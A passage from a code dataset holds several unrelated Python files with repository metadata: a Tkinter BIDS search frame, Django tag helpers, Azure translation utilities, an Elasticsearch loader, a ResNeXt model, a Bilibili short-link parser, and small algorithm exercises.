super(BIDSSearchFrame, self).__init__(self.master, *args, **kwargs)\n\n # create some inital variables\n self.obj_var = OptionsVar(options=['project', 'subject', 'session',\n 'scan'])\n self.condition_var = OptionsVar(options=['<', '<=', '=', '!=', '!!=',\n '>=', '>'])\n self.results = None\n\n self._create_widgets()\n\n # the associated file\n self._file = None\n\n#region public methods\n\n def set_text(self, text):\n self.info_label.config(text=text)\n\n#region private methods\n\n def _create_widgets(self):\n self.info_label = Label(self, text='Search')\n self.info_label.grid(column=0, row=0, sticky='nw')\n\n Label(self, text='Search for a...').grid(column=0, row=1, sticky='nw')\n\n self.search_table = WidgetTable(\n self,\n headings=None,\n pattern=[{'var': self.obj_var, 'configs': {'state': 'readonly'}},\n {'text': 'with'},\n StringVar,\n {'var': self.condition_var,\n 'configs': {'state': 'readonly'}},\n StringVar],\n widgets_pattern=[Combobox, Label, Entry, Combobox, Entry],\n data_array=[\n {'var': self.obj_var, 'configs': {'state': 'readonly'}},\n {'text': 'with'},\n StringVar(),\n {'var': self.condition_var,\n 'configs': {'state': 'readonly'}},\n StringVar()],\n style={'nodividers': True})\n self.search_table.grid(column=0, row=2, columnspan=2, sticky='nsew')\n\n self.search_button = Button(self, text='Search', command=self._search)\n self.search_button.grid(column=0, row=3, sticky='e')\n\n # results section\n Label(self, text='Results:').grid(column=0, row=4, sticky='nw')\n\n frame = Frame(self)\n\n frame.grid_rowconfigure(0, weight=1)\n frame.grid_columnconfigure(0, weight=1)\n\n xscrollbar = Scrollbar(frame, orient=HORIZONTAL)\n xscrollbar.grid(row=1, column=0, sticky='ew')\n\n yscrollbar = Scrollbar(frame)\n yscrollbar.grid(row=0, column=1, sticky='ns')\n\n self.results_frame = Text(frame, relief=FLAT, undo=False, takefocus=0,\n bg=OSCONST.TEXT_BG, wrap=NONE,\n xscrollcommand=xscrollbar.set,\n yscrollcommand=yscrollbar.set,\n state=DISABLED)\n\n self.results_frame.grid(row=0, column=0, sticky='nsew')\n\n self.hyperlink = HyperlinkManager(self.results_frame)\n\n xscrollbar.config(command=self.results_frame.xview)\n yscrollbar.config(command=self.results_frame.yview)\n\n frame.grid(column=0, row=5, columnspan=2, sticky='nsew')\n\n self.result_count_label = Label(self, text=\"Total results: 0\")\n self.result_count_label.grid(column=0, row=6, sticky='w')\n\n export_button = Button(self, text='Export',\n command=self._export_results)\n export_button.grid(column=0, row=7, sticky='e')\n help_button = Button(self, text='Help', command=self._open_help)\n help_button.grid(column=1, row=7, sticky='e')\n\n self.grid_columnconfigure(0, weight=1)\n self.grid_rowconfigure(2, weight=1)\n self.grid_rowconfigure(5, weight=1)\n\n def _export_results(self):\n if len(self.results) != 0:\n # ask where to copy the data to\n dst = filedialog.askdirectory(title=\"Select BIDS folder\")\n if dst != '':\n SendFilesWindow(self, self.results, dst, opt_verify=True)\n else:\n messagebox.showerror('No Results',\n 'No results to export. Please enter a set of '\n 'valid search parameters to export data.')\n\n def _open_help(self):\n open_hyperlink(HELP_LINK)\n\n def _search(self):\n query = self.search_table.get()\n self.results = None\n try:\n for q in query:\n if self.results is None:\n self.results = self.file.query(q[0], q[2], q[3],\n str_to_obj(q[4]))\n else:\n self.results = self.results.query(q[0], q[2], q[3],\n str_to_obj(q[4]))\n except ValueError:\n messagebox.showerror('Invalid search',\n 'One or more search parameters are invalid. '\n 'Please ensure your search criteria is '\n 'correct.')\n self.results = []\n str_results = list(get_bidsobj_info(x) for x in self.results)\n self.results_frame.config(state=NORMAL)\n # Clear all the current text.\n self.results_frame.delete(1.0, END)\n # Then add all the new results.\n for i, result in enumerate(str_results):\n self.results_frame.insert(\n END,\n result + '\\n',\n self.hyperlink.add(\n lambda obj=self.results[i]: self._select_obj(obj)))\n # Set the frame to not be writable any more.\n if len(self.results) == 0:\n self.results_frame.insert(END, 'None')\n self.results_frame.config(state=DISABLED)\n\n self.result_count_label.config(\n text=\"Total results: {0}\".format(len(self.results)))\n\n def _select_obj(self, obj):\n \"\"\"Highlight the selected object in the treeview.\"\"\"\n # find the selected object's sid\n if isinstance(obj, Scan):\n # for scan objects we want to go to the actual raw object\n fpath = obj.raw_file\n else:\n fpath = obj.path\n obj_sid = self.parent.file_treeview.sid_from_filepath(fpath)\n # then show it\n self.parent.file_treeview.see(obj_sid)\n self.parent.file_treeview.focus(item=obj_sid)\n self.parent.file_treeview.selection_set((obj_sid,))\n\n#region properties\n\n @property\n def file(self):\n return self._file\n\n @file.setter\n def file(self, other):\n \"\"\"\n Set the file property to whatever the new file is.\n When this happens the update command will be called which will redraw\n the channel info list\n \"\"\"\n if other != self._file:\n self._file = other\n","repo_name":"Macquarie-MEG-Research/Biscuit","sub_path":"Biscuit/InfoTabs/BIDSSearchFrame.py","file_name":"BIDSSearchFrame.py","file_ext":"py","file_size_in_byte":7419,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"22719160290","text":"from django.template.defaultfilters import slugify\nfrom ursula.models import Item, ItemForm\nfrom ursula.models import Image, Image_List\nfrom ursula.models import Tag, Tag_List\nfrom ursula.models import Person, Person_List\nfrom ursula.models import Location, Location_List\n\n# -----------------------------------\n# Process image ordinals for an item\n# -----------------------------------\ndef do_image_ordinals(ordinal_ids, item_id):\n ordinal_split = ordinal_ids.split(',')\n if len(ordinal_split) > 1:\n p_id = ordinal_split.pop()\n counter = 1\n for id in ordinal_split:\n try:\n image_list = Image_List.objects.get(pk=id)\n image_list.ordinal = counter\n image_list.item_id = item_id\n image_list.save()\n counter += 1\n except Image_List.DoesNotExist:\n #do nothing\n return 2\n else:\n if ordinal_ids:\n try:\n image_list = Image_List.objects.get(pk=ordinal_ids)\n image_list.ordinal = 1\n image_list.item_id = item_id\n image_list.save()\n except Image_List.DoesNotExist:\n #do nothing\n return 3 \n \n return 1\n\n\n# -----------------------------------\n# Process tags for an item\n# -----------------------------------\ndef do_tags(tag_ids, item_id):\n # mark each tag for item_id as inactive first\n tag_list = Tag_List.objects.filter(item = item_id)\n for tag_list_item in tag_list:\n tag_list_item.is_active = 0\n tag_list_item.save()\n \n\n # mark each incoming tag as active\n # first check to see if it exists.\n for id in tag_ids:\n id_set = 0\n for tag_list_item in tag_list:\n if str(tag_list_item.tag_id) == id:\n tag_list_item.is_active = 1\n tag_list_item.save()\n id_set = 1\n break\n \n if id_set == 0:\n new_item = Tag_List()\n new_item.tag_id = id\n new_item.item_id = item_id\n new_item.is_active = 1\n new_item.save()\n \n return 1\n\n\n# -----------------------------------\n# Process people for an item\n# -----------------------------------\ndef do_people(people_ids, item_id):\n # mark each people for item_id as inactive first\n people_list = Person_List.objects.filter(item = item_id)\n for people_list_item in people_list:\n people_list_item.is_active = 0\n people_list_item.save()\n\n # mark each incoming tag as active\n # first check to see if it exists.\n for id in people_ids:\n id_set = 0\n for people_list_item in people_list:\n if str(people_list_item.person_id) == id:\n people_list_item.is_active = 1\n people_list_item.save()\n id_set = 1\n break\n \n if id_set == 0:\n new_item = Person_List()\n new_item.person_id = id\n new_item.item_id = item_id\n new_item.is_active = 1\n new_item.save()\n \n return 1\n\n\n# -----------------------------------\n# Process locations for an item\n# -----------------------------------\ndef do_locations(location_ids, item_id):\n # mark each location for item_id as inactive first\n location_list = Location_List.objects.filter(item = item_id)\n for location_list_item in location_list:\n location_list_item.is_active = 0\n location_list_item.save()\n \n\n # mark each incoming tag as active\n # first check to see if it exists.\n for id in location_ids:\n id_set = 0\n for location_list_item in location_list:\n if str(location_list_item.location_id) == id:\n location_list_item.is_active = 1\n location_list_item.save()\n id_set = 1\n break\n \n if id_set == 0:\n new_item = Location_List()\n new_item.location_id = id\n new_item.item_id = item_id\n new_item.is_active = 1\n new_item.save()\n \n return 1\n\n\n","repo_name":"stbarrett/dc_test","sub_path":"_lib/ursula/items/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3629699032","text":"import datetime\nfrom typing import Union, Optional, List\nfrom azure.core.credentials import AzureKeyCredential\nfrom azure.core.pipeline.policies import AzureKeyCredentialPolicy\nfrom azure.core.pipeline.policies import HttpLoggingPolicy\nfrom ._generated.models import (\n BatchRequest as _BatchRequest,\n SourceInput as _SourceInput,\n TargetInput as _TargetInput,\n DocumentFilter as _DocumentFilter,\n)\nfrom ._models import DocumentTranslationInput\n\nCOGNITIVE_KEY_HEADER = \"Ocp-Apim-Subscription-Key\"\nPOLLING_INTERVAL = 1\n\n\ndef get_translation_input(args, kwargs, continuation_token):\n try:\n inputs = kwargs.pop(\"inputs\", None)\n if not inputs:\n inputs = args[0]\n request = (\n DocumentTranslationInput._to_generated_list( # pylint: disable=protected-access\n inputs\n )\n if not continuation_token\n else None\n )\n except (AttributeError, TypeError, IndexError):\n try:\n source_url = kwargs.pop(\"source_url\", None)\n if not source_url:\n source_url = args[0]\n target_url = kwargs.pop(\"target_url\", None)\n if not target_url:\n target_url = args[1]\n target_language = kwargs.pop(\"target_language\", None)\n if not target_language:\n target_language = args[2]\n\n # Additional kwargs\n source_language = kwargs.pop(\"source_language\", None)\n prefix = kwargs.pop(\"prefix\", None)\n suffix = kwargs.pop(\"suffix\", None)\n storage_type = kwargs.pop(\"storage_type\", None)\n category_id = kwargs.pop(\"category_id\", None)\n glossaries = kwargs.pop(\"glossaries\", None)\n\n request = [\n _BatchRequest(\n source=_SourceInput(\n source_url=source_url,\n filter=_DocumentFilter(\n prefix=prefix,\n suffix=suffix\n ),\n language=source_language,\n ),\n targets=[\n _TargetInput(\n target_url=target_url,\n language=target_language,\n glossaries=[g._to_generated() for g in glossaries] # pylint: disable=protected-access\n if glossaries else None,\n category=category_id,\n )\n ],\n storage_type=storage_type\n )\n ]\n except (AttributeError, TypeError, IndexError) as exc:\n raise ValueError(\n \"Pass 'inputs' for multiple inputs or 'source_url', 'target_url', \"\n \"and 'target_language' for a single input.\"\n ) from exc\n\n return request\n\n\ndef get_authentication_policy(credential):\n authentication_policy = None\n if credential is None:\n raise ValueError(\"Parameter 'credential' must not be None.\")\n if isinstance(credential, AzureKeyCredential):\n authentication_policy = AzureKeyCredentialPolicy(\n name=COGNITIVE_KEY_HEADER, credential=credential\n )\n elif credential is not None and not hasattr(credential, \"get_token\"):\n raise TypeError(\n \"Unsupported credential: {}. Use an instance of AzureKeyCredential \"\n \"or a token credential from azure.identity\".format(type(credential))\n )\n\n return authentication_policy\n\n\ndef get_http_logging_policy(**kwargs):\n http_logging_policy = HttpLoggingPolicy(**kwargs)\n http_logging_policy.allowed_header_names.update(\n {\n \"Operation-Location\",\n \"Content-Encoding\",\n \"Vary\",\n \"apim-request-id\",\n \"X-RequestId\",\n \"Set-Cookie\",\n \"X-Powered-By\",\n \"Strict-Transport-Security\",\n \"x-content-type-options\",\n }\n )\n http_logging_policy.allowed_query_params.update(\n {\n \"$top\",\n \"$skip\",\n \"$maxpagesize\",\n \"ids\",\n \"statuses\",\n \"createdDateTimeUtcStart\",\n \"createdDateTimeUtcEnd\",\n \"$orderBy\",\n }\n )\n return http_logging_policy\n\n\ndef convert_datetime(date_time: Union[str, datetime.datetime]) -> datetime.datetime:\n if isinstance(date_time, datetime.datetime):\n return date_time\n if isinstance(date_time, str):\n try:\n return datetime.datetime.strptime(date_time, \"%Y-%m-%d\")\n except ValueError:\n try:\n return datetime.datetime.strptime(date_time, \"%Y-%m-%dT%H:%M:%SZ\")\n except ValueError:\n return datetime.datetime.strptime(date_time, \"%Y-%m-%d %H:%M:%S\")\n raise TypeError(\"Bad datetime type\")\n\n\ndef convert_order_by(order_by: Optional[List[str]]) -> Optional[List[str]]:\n if order_by:\n order_by = [order.replace(\"created_on\", \"createdDateTimeUtc\") for order in order_by]\n return order_by\n","repo_name":"Azure/azure-sdk-for-python","sub_path":"sdk/translation/azure-ai-translation-document/azure/ai/translation/document/_helpers.py","file_name":"_helpers.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"en","doc_type":"code","stars":3916,"dataset":"github-code","pt":"54"} +{"seq_id":"23997270815","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\n\ndef between(num, bound1, bound2):\n return (num > bound1) and (num < bound2)\n\ndef get_indices(iterable, item):\n indices = []\n for i, entry in enumerate(iterable):\n if item == entry:\n indices.append(i)\n return indices\n\ndef split_cluster_data(all_data):\n labels = list(set(all_data['Labels']))\n cluster_data = {}\n other_data = {}\n for cluster in labels:\n cluster_data[cluster] = all_data[all_data['Labels'] == cluster].drop('Labels', 1)\n other_data[cluster] = all_data[all_data['Labels'] != cluster].drop('Labels', 1)\n return cluster_data, other_data\n\ndef scale_frame(frame, scaler=None, log=True):\n if log:\n frame = np.log1p(frame)\n if not scaler:\n scaler = MinMaxScaler().fit(frame)\n scaled_data = scaler.transform(frame)\n return pd.DataFrame(scaled_data, columns=frame.columns)\n\n","repo_name":"ErolB/ClusterViewer","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30739545930","text":"#docker pull docker.elastic.co/elasticsearch/elasticsearch:6.3.1\n#docker run -p 9200:9200 -p 9300:9300 -e \"discovery.type=single-node\" docker.elastic.co/elasticsearch/elasticsearch:6.3.1\nimport os\nimport json\nimport pickle\nimport math\nfrom unidecode import unidecode\nimport pandas as pd\nfrom numpy import array\nfrom json.decoder import JSONDecodeError\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch import helpers\n\ndefault_uri = \"http://127.0.0.1:9411/\"\n\n#docker build -t mappings:0.0.1 mappings\n#docker run -d -p 127.0.0.1:9411:9200 mappings:0.0.1\n\n\"\"\"\n\nEnsure index, types and mappings creation \n\n\"\"\"\n\n\ndef init_scenarios():\n\n\tesclient = Elasticsearch([os.environ.get(\"elastic_url\",default_uri)])\n\tindices = esclient.indices\n\n\tif not indices.exists(index=\"scenarios\"):\n\t\tprint(indices.create(index=\"scenarios\"))\n\t\n\tif \"analysis\" not in indices.get(index=\"scenarios\")[\"scenarios\"][\"settings\"][\"index\"] or \"scenario_analyzer\" not in indices.get(index=\"scenarios\")[\"scenarios\"][\"settings\"][\"index\"][\"analysis\"][\"analyzer\"]:\n\t\tindices.close(index=\"scenarios\")\n\t\t\n\t\tsettings = {\n\t\t \"settings\": {\n\t\t \"analysis\": {\n\t\t \"filter\": {\n\t\t \"french_elision\": {\n\t\t \"type\": \"elision\",\n\t\t \"articles_case\": True,\n\t\t \"articles\": [\n\t\t \"l\",\n\t\t \"m\",\n\t\t \"t\",\n\t\t \"qu\",\n\t\t \"n\",\n\t\t \"s\",\n\t\t \"j\",\n\t\t \"d\",\n\t\t \"c\",\n\t\t \"jusqu\",\n\t\t \"quoiqu\",\n\t\t \"lorsqu\",\n\t\t \"puisqu\"\n\t\t ]\n\t\t },\n\t\t \"french_stop\": {\n\t\t \"type\": \"stop\",\n\t\t \"stopwords\": \"_french_\"\n\t\t },\n\t\t \"french_stemmer\": {\n\t\t \"type\": \"stemmer\",\n\t\t \"language\": \"light_french\"\n\t\t }\n\t\t },\n\t\t \"analyzer\": {\n\t\t \"scenario_analyzer\": {\n\t\t \"tokenizer\": \"icu_tokenizer\",\n\t\t \"filter\": [\n\t\t \"french_elision\",\n\t\t \"lowercase\",\n\t\t \"french_stop\",\n\t\t \"icu_folding\"\n\t\t ]\n\t\t }\n\t\t }\n\t\t }\n\t\t}}\n\t\tindices.put_settings(index=\"scenarios\", body=settings)\n\t\tindices.open(index=\"scenarios\")\n\n\twith open(\"mappings/scenarios.json\", \"r\") as mapping:\n\t\tindices.put_mapping(index=\"scenarios\", doc_type=\"scenarios\", body=json.load(mapping))\n\n\ndef fill_scenarios():\n\n\tdef build_json (row):\n\t\tres = {\n\t\t\t\"code\": row[\"code\"],\n\t\t\t\"vec\": []\n\t\t}\n\t\tfor el in [\"sousthème_1\", \"sousthème_2\", \"sousthème_3\", \"sousthème_4\", \"sousthème_5\", \"sousthème_6\"]:\n\t\t\tprint(type(row[el]) == type(''), type(row[el]), row[el])\n\t\t\tif type(row[el]) == str and len(row[el]) > 0 :\n\t\t\t\tres[\"vec\"].append(row[el])\n\n\t\tfull = {\n\t\t\t\"_index\": \"scenarios\",\n\t\t\t\"_type\": \"scenarios\",\n\t\t\t\"_id\": row[\"code\"],\n\t\t\t\"_source\": res\n\t\t}\n\n\t\tscenarios.append(full)\n\n\n\tdf = pd.read_csv(\"../data/scenario.csv\")\n\ttree = df[[\"code\", \"sousthème_1\", \"sousthème_2\", \"sousthème_3\", \"sousthème_4\", \"sousthème_5\", \"sousthème_6\"]]\n\n\tscenarios = []\n\n\tdf.apply(lambda row: build_json (row),axis=1)\n\n\twith open(\"../data/scenario_bulk.json\", \"w+\") as new_file:\n\t\tjson.dump(scenarios, new_file)\n\ndef upload_scenarios():\n\n\twith open(\"../data/scenario_bulk.json\") as data_formatted:\n\t data_formatted = json.load(data_formatted)\n\n\tesclient = Elasticsearch([os.environ.get(\"elastic_url\",default_uri)])\n\n\thelpers.bulk(esclient, data_formatted)\n\nif __name__ == \"__main__\":\n\n\tinit_scenarios()\n\tfill_scenarios()\n\tupload_scenarios()\n\n\n","repo_name":"leonardmaguin/code_travail_scenarios","sub_path":"src/script/upload_scenarios.py","file_name":"upload_scenarios.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37772771641","text":"# import __main__ as main\n# from Helper.TimerLogger import CodeTimeLogging\n# fileName = main.__file__\n# fileName = fileName.split('\\\\')[-1]\n\n# CodeTimeLogging(Flag='F', filename=fileName, Tag='Dynamic-Programing', Difficult='Medium')\nimport math\n\n\ndef numSquares(n):\n dp = [float(\"inf\") for _ in range(n + 1)]\n dp[0] = 0\n for i in range(1, n + 1):\n # print(i)\n for j in range(1, int(math.sqrt(i)) + 1):\n print('\\t', dp, i - j * j)\n dp[i] = min(dp[i], dp[i - j * j] + 1)\n return dp\n\n\nn = 12\nprint(numSquares(n))\n","repo_name":"Omkar02/FAANG","sub_path":"G_LC_279_PerfectSquares.py","file_name":"G_LC_279_PerfectSquares.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"39157596961","text":"import pytest\n\nfrom enigma_simulator.components import get_rotor\nfrom enigma_simulator.utils import transform_to_encoding\n\n\ndef gen_data(encoding, position, ring_setting):\n encoding_list = list(encoding)\n for _ in range(position):\n encoding_list.append(encoding_list.pop(0))\n\n encoding_list = [\n chr((ord(c) - 65 - position + ring_setting) % 26 + 65) for c in encoding_list\n ]\n for _ in range(ring_setting):\n encoding_list.insert(0, encoding_list.pop())\n\n return \"\".join(encoding_list)\n\n\n@pytest.mark.parametrize(\n \"rotor_name\", (\"I\", \"II\", \"III\", \"IV\", \"V\", \"VI\", \"VII\", \"VIII\")\n)\n@pytest.mark.parametrize(\"ring_setting\", range(-1, 2))\n@pytest.mark.parametrize(\"position\", range(-1, 2))\ndef test_transform(rotor_name, ring_setting, position):\n ring_setting %= 26\n position %= 26\n rotor = get_rotor(rotor_name, ring_setting, position)\n encoding = rotor.initial_encoding\n\n assert transform_to_encoding(rotor.transform) == gen_data(\n encoding, position, ring_setting\n )\n","repo_name":"tristan-jl/enigma_simulator","sub_path":"tests/rotor_test.py","file_name":"rotor_test.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12274570859","text":"import mxnet as mx\nfrom mxnet import sym\nimport math\n\n\ndef _conv3x3(data, channels, stride, group, name=''):\n return sym.Convolution(data, kernel=(3, 3), no_bias=True, stride=(stride, stride),\n pad=(1, 1), num_filter=channels, num_group=group, name=name)\n\n\ndef block(data, channels, cardinality, bottleneck_width, stride, downsample=False, prefix=''):\n D = int(math.floor(channels * (bottleneck_width / 64)))\n group_width = cardinality * D\n\n conv1 = sym.Convolution(data, num_filter=group_width,\n kernel=(1, 1), no_bias=True, name=prefix + '_conv1')\n bn1 = sym.BatchNorm(conv1, name=prefix + '_bn1')\n act1 = sym.Activation(bn1, act_type='relu', name=prefix+'_relu1')\n conv2 = _conv3x3(act1, group_width, stride,\n cardinality, name=prefix + '_conv2')\n bn2 = sym.BatchNorm(conv2, name=prefix + '_bn2')\n act2 = sym.Activation(bn2, act_type='relu', name=prefix + '_relu2')\n conv3 = sym.Convolution(act2, kernel=(\n 1, 1), num_filter=channels * 4, no_bias=True, name=prefix + '_conv3')\n bn3 = sym.BatchNorm(conv3, name=prefix + '_bn3')\n\n if downsample:\n data = sym.Convolution(data, kernel=(\n 1, 1), num_filter=channels * 4, stride=(stride, stride), no_bias=True)\n data = sym.BatchNorm(data)\n\n return sym.Activation(bn3 + data, act_type='relu', name=prefix + '_relu3')\n\n\nclass ResNext:\n def __init__(self, layers, cardinality, bottleneck_width, classes=1000, **kwargs):\n self.cardinality = cardinality\n self.bottleneck_width = bottleneck_width\n channels = 64\n\n input = sym.var('data')\n label = sym.var('softmax_label')\n\n stage0_conv1 = sym.Convolution(input, kernel=(7, 7), stride=(\n 2, 2), pad=(3, 3), num_filter=channels, no_bias=True, name='stage0_conv1')\n stage0_bn1 = sym.BatchNorm(stage0_conv1, name='stage0_bn1')\n stage0_act1 = sym.Activation(\n stage0_bn1, act_type='relu', name='stage0_relu1')\n stage0_map = sym.Pooling(stage0_act1, pool_type='max', kernel=(\n 3, 3), stride=(2, 2), pad=(1, 1), name='stage0_map')\n\n data = stage0_map\n self.features = []\n for i, num_layer in enumerate(layers):\n stride = 1 if i == 0 else 2\n data = self.__make_layer(data, channels, num_layer, stride, i + 1)\n\n channels *= 2\n self.features.append(data)\n\n gap = sym.Pooling(self.features, pool_type='avg', global_pool=True)\n fc = sym.FullyConnected(gap, num_hidden=classes)\n self.output = sym.SoftmaxOutput(fc, label=label, name='softmax_output')\n\n def __make_layer(self, data, channels, num_layer, stride, stage_index):\n prefix = 'stage{}'.format(stage_index)\n data = block(data, channels, self.cardinality, self.bottleneck_width,\n stride, downsample=True, prefix=prefix + '_block1')\n\n for i in range(num_layer-1):\n data = block(data, channels, self.cardinality, self.bottleneck_width,\n 1, False, prefix + '_block{}'.format(i+2))\n return data\n\n\nresnext_spec = {50: [3, 4, 6, 3],\n 101: [3, 4, 23, 3]}\n\n\ndef get_resnext(num_layers, cardinality=32, bottleneck_width=4, **kwargs):\n assert num_layers in resnext_spec\n resnext = ResNext(resnext_spec[num_layers],\n cardinality, bottleneck_width, **kwargs)\n return resnext\n\n\ndef resnext50_32x4d(**kwargs):\n return get_resnext(50)\n\n\ndef resnext101_32x4d(**kwargs):\n return get_resnext(101)\n","repo_name":"Mengman/model-showcase","sub_path":"vision/cnn/resnext.py","file_name":"resnext.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74417778400","text":"#cur = 현재위치\n#sum = 충전횟수\n#battery = 잔여 배터리\n\ndef charge(cur,battery,sum):\n global bus_stop, minV, ans\n if cur == bus_stop:\n if sum < minV:\n minV = sum\n return\n else:\n if sum > minV:\n return\n else:\n #충전하고 지나가기\n charge(cur+1, lst[cur]-1, sum+1)\n #충전 안하고 지나가기\n if battery>0:\n charge(cur+1, battery-1, sum)\n\n\nT = int(input())\nfor tc in range(1,T+1):\n lst = list(map(int,input().split()))\n bus_stop = lst[0]\n minV = 10000\n charge(2,lst[1]-1,0)\n print('#{} {}'.format(tc,minV))\n\n# def charge(cur,sum,battery):\n# global minV\n# if cur == N:\n# if sum < minV:\n# minV = sum\n# return\n# else:\n# if sum> minV:\n# return\n# else:\n# for i in range(1,N):\n# if v[i]==0:\n# v[i]=1\n# if battery>0:\n# charge(cur+1,sum,lst[i]-1)\n# charge(cur+1, sum+1, lst[i])\n# v[i]=0\n#\n#\n# T = int(input())\n# for tc in range(1,T+1):\n# lst = list(map(int,input().split()))\n# N = lst[0]\n# minV = 1000000\n# v = [0]*N\n# charge(1,0,lst[1])\n# print(minV)","repo_name":"KaYunKIM/ssafy","sub_path":"Algorithm/SWEA_LEARN/COURSE/Programming Advanced/Back Tracking/5208. 전기버스2.py","file_name":"5208. 전기버스2.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"31920375360","text":"import sys\n\nif __name__ == '__main__':\n n, k = map(int, input().strip().split(\" \"))\n rq, cq = map(int, input().strip().split(\" \"))\n\n up_squares = n - rq\n right_squares = n - cq\n down_squares = rq - 1\n left_squares = cq - 1\n left_up_squares = min(left_squares, up_squares)\n right_up_squares = min(up_squares, right_squares)\n left_down_squares = min(down_squares, left_squares)\n right_down_squares = min(right_squares, down_squares)\n\n for _ in range(0, k):\n ro, co = map(int, input().strip().split(\" \"))\n\n if ro == rq and co < cq and abs(co - cq) - 1 < left_squares:\n left_squares = abs(co - cq) - 1\n if ro == rq and co > cq and abs(co - cq) - 1 < right_squares:\n right_squares = abs(co - cq) - 1\n if co == cq and ro < rq and abs(ro - rq) - 1 < down_squares:\n down_squares = abs(ro - rq) - 1\n if co == cq and ro > rq and abs(ro - rq) - 1 < up_squares:\n up_squares = abs(ro - rq) - 1\n\n if abs(ro - rq) == abs(co - cq):\n if ro > rq and co < cq and abs(ro - rq) - 1 < left_up_squares:\n left_up_squares = abs(ro - rq) - 1\n if ro < rq and co < cq and abs(ro - rq) - 1 < left_down_squares:\n left_down_squares = abs(ro - rq) - 1\n if ro < rq and co > cq and abs(ro - rq) - 1 < right_down_squares:\n right_down_squares = abs(ro - rq) - 1\n if ro > rq and co > cq and abs(ro - rq) - 1 < right_up_squares:\n right_up_squares = abs(ro - rq) - 1\n\n total_moves = right_squares + left_squares + up_squares + down_squares + left_down_squares + left_up_squares + right_up_squares + right_down_squares\n\n print(total_moves)\n","repo_name":"major-sri/hackerrank","sub_path":"Problem Solving/Queen's Attack II.py","file_name":"Queen's Attack II.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72373012003","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author : RaXianch\n# CreatDATE : 2022/10/31\n# CreatTIME : 17:36 \n# Blog : https://blog.raxianch.moe/\n# Github : https://github.com/DeSireFire\n__author__ = 'RaXianch'\nimport asyncio\nimport httpx\nimport re\nfrom src.utils.url_common import urlParam_to_dict, dict_to_urlParam\n\nclass b23Parse(object):\n \"\"\"\n b23短链接解析\n \"\"\"\n def __init__(self, b23Url=None):\n assert isinstance(b23Url, str) and \"b23\" in b23Url, \"传入的b23链接参数不正确!\"\n self.b23_raw_url = b23Url\n self.re_str = \"av(\\d{1,12})|BV(1[A-Za-z0-9]{2}4.1.7[A-Za-z0-9]{2})|b23.tv\"\n self.bstat_api = \"https://api.bilibili.com/x/web-interface/archive/stat\"\n self.headers = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Accept-Language': 'zh-CN,zh-TW;q=0.9,zh;q=0.8,en;q=0.7,und;q=0.6,ja;q=0.5',\n 'Cache-Control': 'no-cache',\n 'Connection': 'keep-alive',\n 'Pragma': 'no-cache',\n 'Sec-Fetch-Dest': 'document',\n 'Sec-Fetch-Mode': 'navigate',\n 'Sec-Fetch-Site': 'none',\n 'Sec-Fetch-User': '?1',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',\n 'sec-ch-ua': '\"Chromium\";v=\"106\", \"Google Chrome\";v=\"106\", \"Not;A=Brand\";v=\"99\"',\n 'sec-ch-ua-platform': '\"Windows\"',\n }\n self.bvid = asyncio.run(self.get_bvid) or None\n self.aid = asyncio.run(self.get_aid) or None\n\n @property\n async def get_bvid(self):\n b23_url = await self.b23_extract(self.b23_raw_url)\n p = re.compile(r\"av(\\d{1,12})|BV(1[A-Za-z0-9]{2}4.1.7[A-Za-z0-9]{2})\")\n video_number = p.search(b23_url)\n bvid = video_number.group() if video_number else None\n return bvid\n\n @property\n async def get_aid(self):\n if not self.bvid:\n self.bvid = asyncio.run(self.get_bvid)\n assert self.bvid, \"获取bvid失败!\"\n aid = await self.aid_extract(self.bvid)\n return aid\n\n async def b23_extract(self, text):\n \"\"\"\n b23链接,解析跳转地址\n :param text:\n :return:\n \"\"\"\n b23 = re.compile(r\"b23.tv\\\\/(\\w+)\").search(text)\n url = \"\"\n if not b23:\n b23 = re.compile(r\"b23.tv/(\\w+)\").search(text)\n try:\n assert b23 is not None\n b23_number = b23.groups()[0]\n url = f\"https://b23.tv/{b23_number}\"\n except AssertionError:\n print(f\"b23链接解析出错了!\")\n resp = httpx.head(url, follow_redirects=True)\n r = str(resp.url)\n return r\n\n async def aid_extract(self, bvid:str):\n \"\"\"\n 通过bvid获取aid\n :param url: 拼接的\n :return:\n \"\"\"\n \"https://api.bilibili.com/x/web-interface/archive/stat?bvid=BV17x411w7KC\"\n 'https://api.bilibili.com/x/web-interface/archive/stat?bvid=BV1QF411h7EK'\n url = f\"{self.bstat_api}?bvid={bvid}\"\n resp = httpx.get(url, headers=self.headers)\n resp_json = resp.json()\n assert resp_json.get(\"code\") == 0,f\"解析aid时,发生错误!接口响应明细:{resp_json}\"\n return resp_json.get(\"data\").get(\"aid\")\n\nclass 